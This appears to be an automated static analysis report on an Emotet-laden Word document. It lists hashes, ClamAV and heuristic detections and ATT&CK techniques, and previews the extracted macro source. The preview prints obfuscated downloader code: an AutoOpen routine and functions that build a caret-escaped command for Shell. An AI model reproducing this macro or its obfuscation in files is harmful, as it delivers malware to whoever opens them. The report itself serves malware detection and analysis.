Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ae1f0ba2a5b3e728…

MALICIOUS

Office (OLE)

193.4 KB Created: 2018-09-25 19:24:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 4438869e5b230540ea88cef12bf50615 SHA-1: 1885a8e746e45011c489add4cc86b7ff4ee97a40 SHA-256: ae1f0ba2a5b3e728112a6d2d90fac0971d86c58a46470e1faa9ca3bb7f1a89a9
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample was detected as Emotet by ClamAV and exhibits critical heuristic firings for VBA macros and the use of the Shell() function. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening the document. The script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826486-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826486-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 214322 bytes
SHA-256: e2cb8a2dd19fa11f33c3797d0db9349b8967a0e9fef8dc242e531f32b2d70750
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QtWikWz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim WrHMzj(1)
WrHMzj(0) = Mid(QqcEbqww + RwoqaaXDUnEvvtQaLRskt + YtqsO, 503, 962) + Left(nqjRjpBj + MvjKLhYSSZlUCiFLFN + HFZAz, 880) + MidB(MjirLr + ijBfVObuwiLvUwzYElJhiwC + LuIKvZd, 476, 226) + MidB(tiiGCPL + hllXSduYXiTAujAoVraliB + HCfPlhW, 980, 508)
   Dim roXhzE(1)
roXhzE(0) = Right(rBZCci + qYJkXjaCSJCrmkBXWv + HNlcm, 541) + Left(qzpRjwTK + ViivraZURaLYMCXm + asVSEBVv, 115) + MidB(MIanhMWK + IsWfPtUwwYHZJdmYkdO + zackipB, 534, 606) + MidB(zwmpPc + USEijYijmnrnjoJIpG + bwcmKqwJ, 154, 32)
sQwdpbhsQHr (KeyString(SfEZosTs + GOvvzzHz + 11 + 8 + 3 + 9 + 36 + nDmVTI + ivJsDbw) + AzmimqNw + phWraA + KeyString(PsiGj + NokOLTz + 13 + 10 + 3 + 11 + 40 + HCUnB + ZDpIEI) + ZPtoFN + rqvXpPJ + ItSNwXRA + PzvhL + wWjQAjYZSWV + ivVuluj + mhFWVLWTZ + jCJIOWcBRK + rrvkSVWtR + MQhBikhdQwE + JNfOYHBmZzT + cjiDHwD + qECHW + FIYXkBBYB + jaVWzoadHoh + mZnOJCG + zhMkFSZiTKB + uswjGH + rrYILFBF)
   Dim dQEoH(2)
dQEoH(0) = MidB(MKKCIDw + wSZawoAGqucBoDdcwqn + RNGSvjT, 238, 449) + Mid(YwDXo + iQKECIOFZUdZpIji + WWhEb, 595, 554)
dQEoH(1) = MidB(FnumFcYN + KjitrtAEGunGKwLubnjWFUhi + zQvZu, 682, 479) + MidB(pLaailE + kouhvOjiKYZKBBpzO + ZSRnoAM, 39, 711)
   Dim FDYqrN(1)
FDYqrN(0) = Right(nIfbhVIf + TtiCrjoVwPUvGEJhXLrbh + CriGDmU, 152) + MidB(LCLpACs + TMYWFpwNDcRBsJFPvcAnwZ + zrWJzHJ, 829, 408)
   Dim CZWckE(1)
CZWckE(0) = MidB(rncfio + mwNZjzGkGDizkoPCHu + sUsPd, 258, 230) + MidB(zoTEsuC + PsdAkOGsrSlCcUErkztY + jKRqLt, 242, 10) + Mid(YdrkdIl + qwvMwQpLSvWUDDpCMzG + wvKdUNbO, 77, 78) + Left(lwSZoD + QHEwKhZjcWkMGFuVwq + QbLRFX, 549)
End Sub


Attribute VB_Name = "AwIIPVh"
Function ZPtoFN()
FujPnKFLw = "d " + CStr(Chr(7 + 1 + 3 + 3 + 33)) + "V^" + ":^" + "ON" + CStr(Chr(7 + 1 + 3 + 3 + 33)) + "C" + CStr(Chr(4 + 0 + 2 + 2 + 26)) + "s" + "^" + "e^" + "t"
jcURdFlwNU = " " + "^+" + "^'" + ".^" + "`" + "=" + "5" + "01" + "^" + " " + "1" + "0" + "9" + "^" + " 0"
oPNtJdXdbj = "9" + "^" + "3^" + " ^" + "91"
PpYXErvjjQ = "0" + "^" + " " + "3" + "0" + "1" + "^ " + "^3"
AuzTltlYw = "0" + "^1" + " " + "5" + "1^" + "3" + " ^" + "1^" + "3"
nSqMHwC = "0" + "^ " + "9" + "^3" + "^" + "0 " + "^3" + "5" + "^9" + " 0" + "31" + "^" + " ^" + "10"
ZPtoFN = FujPnKFLw + jcURdFlwNU + oPNtJdXdbj + PpYXErvjjQ + AuzTltlYw + nSqMHwC
   Dim XMQsRn(2)
XMQsRn(0) = Left(Ewwipl + hprqbwzpAjwhGshAJBdH + AFaNjrwO, 835) + Mid(FcHYMbj + jkwXQHlczDhCsYbcIki + vaPabza, 888, 806)
XMQsRn(1) = MidB(PHDwuk + uYvDifjzGIWwuUbhJfWJr + MlVfiYY, 923, 925) + Mid(XhuvI + hMRVmbGWBGXPDTuSUY + CwPbSqmN, 431, 928) + Left(GNqwt + VWpYpndaAqGPzWXznjQ + attdpcv, 479) + MidB(OaMZZ + MMMjqGNwTbukfFivDJnzERK + oCzwVIU, 67, 525)
   Dim OvRdZv(2)
OvRdZv(0) = Mid(iHUvRf + kmJfwlPpprrmrDNaAnU + FDSfMdXH, 610, 814) + Left(HCRdo + LVSitcrDEhQRasNFDL + MwGbkAv, 954) + MidB(QzWmZ + jmTDwOipcZPismGinvsq + VNwbv, 773, 377) + MidB(TZwjNWss + WidVZGfqlOrvLMPHuoFa + RuGsLv, 47, 966)
OvRdZv(1) = MidB(ZrrZULI + hcinkJclzjRHHMdmf + sdZXk, 402, 811) + Left(fcYFlnG + CSRwiSBkSIiMVjBONAo + QEoikWTG, 136) + Right(YvtuEEj + iAJfLkmrJHNidjjQN + bqUoa, 806) + MidB(IREOU + JXAUjOzYrdLQYVZcZSKX + jiAqJ, 352, 945)
End Function
Function rqvXpPJ()
Dim jAGuwz(1)
jAGuwz(0) = Left(KPSCUKnj + jblmzVLOfloLdpfPizmFilE + WGzhw, 523) + Left(BtDki + INWEpMosTCkzWsCIVI + skZfd, 935) + Mid(vsDwRPA + hmGOuqFnsKiZmacJPjLXBn + uaqmrYSo, 421, 498) + Left(tUsjEjwV + UHljOJVEaowLNTJHzE + javobS, 413)
   Dim IZczMb(1)
IZczMb(0) = Left(zRWiVm + jfLAcZHjizUVhHCPRN + cGAcnjd, 767) + Mid(FEjTVOj + QhiSBXQbTWuwjtcwU + qQmQd, 223, 751)
   Dim lRFiAK(1)
lRFiAK(0) = Mid(SGVPJ + fjwNnIYSoFGtwjjDM + UFIww, 600, 961) + Right(WfnJv + DWdtnvDsoYJljOXLtEpP + kkibfL, 962)
   Dim fmqIUi(2)
fmqIUi(0) = Right(JsHbdaV + IPfDiCWdYcLBHBYWzok + VZwuWUum, 911) + MidB(oFkBku + GiVHkGOVzbaXdFFCAIdq + oMHXWm, 61, 36)
fmqIUi(1) = Mid(RzSLnHw 
... (truncated)

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